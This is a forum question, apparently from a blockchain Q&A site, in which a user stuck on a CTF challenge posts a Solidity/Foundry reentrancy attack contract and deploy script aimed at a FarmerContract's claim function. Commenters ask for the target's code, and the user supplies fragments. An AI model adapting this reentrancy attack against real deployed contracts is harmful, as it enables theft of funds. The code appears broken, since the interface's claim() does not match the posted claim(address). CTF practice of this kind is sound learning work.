0

I'm trying to solve a CTF challenge and can't seems to call the claim function from the vuln contract.

I must use my "EOA" address to solve task to mark it solved, because my "EOA" address is eligible to claim when I deploy the CTF FarmerContract contract, I have not been able to call the claim function in the FarmerContract although it's also vulnerable to reentrancy attack, but without successfully calling the claim function I have no way to reenter the contract,

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.24;

import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";

interface FarmerContract {
    function claim() external;
}

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
}

contract AttackFarm {
    FarmerContract public farmercontractinst;
    IERC20 public FTOKEN;
    address public claimer;
    bool private inAttack;

    constructor(address _farmercontractinst, address _ftoken, address _claimer) {
        farmercontractinst = FarmerContract(_farmercontractinst);
        FTOKEN = IERC20(_ftoken);
        claimer = _claimer;
    }

    function attack() external {
        require(msg.sender == claimer, "Only the claimer can call this function");
        console.log("Balance of FTOKEN before", FTOKEN.balanceOf(claimer));
        inAttack = true;
        farmercontractinst.claim();
        inAttack = false;
        console.log("Balance of FTOKEN after attack", FTOKEN.balanceOf(claimer));
        console.log("balance of this contract", FTOKEN.balanceOf(address(this)));
    }

    receive() external payable {
        if (inAttack) {
            inAttack = false; // Prevent reentrancy loop
            farmercontractinst.claim();
            inAttack = true;
        }
    }
}
contract AttackFarmScript is Script {
    function run() public {
        address farmcontract = 0x218B95BE3ed99141b0144Dba6cE88807c4AD7C09;
        address ftoken = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
        address claimer = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
        
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        AttackFarm attackinst = new AttackFarm(farmcontract, ftoken, claimer);
        attackinst.attack();
        vm.stopBroadcast();
    }
}
5
  • Can you add the code of FarmerContract ? Commented May 18 at 2:36
  • @SYEDASADKAZMI sorry for late reply, here is the claim function, "function claim(address farmer) external { uint256 amount = Harvestable(farmer); if(amount > 0){ _transfer(farmer, amount); } },
    – jose celis
    Commented May 18 at 18:13
  • Again, it’s not clear about the usage of Harvestable here. Please share minimum reproducible code, so that I can reproduce the same issue on my end. Commented May 18 at 18:23
  • here is the havestable function "function Harvestable(address farmer) public view returns(uint256){ uint256 curent = block.timestamp - farmer.lastTimeHavest; uint256 claimableAmount = farmer.daily.mul(curent).div(1_WEEK); return HavestableAmount(claimableAmount); }"
    – jose celis
    Commented May 18 at 18:51
  • Instead of sharing the separate functions in comments, it would be much better if you edit your question and provide the minimum reproducible code. Commented May 18 at 22:55

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.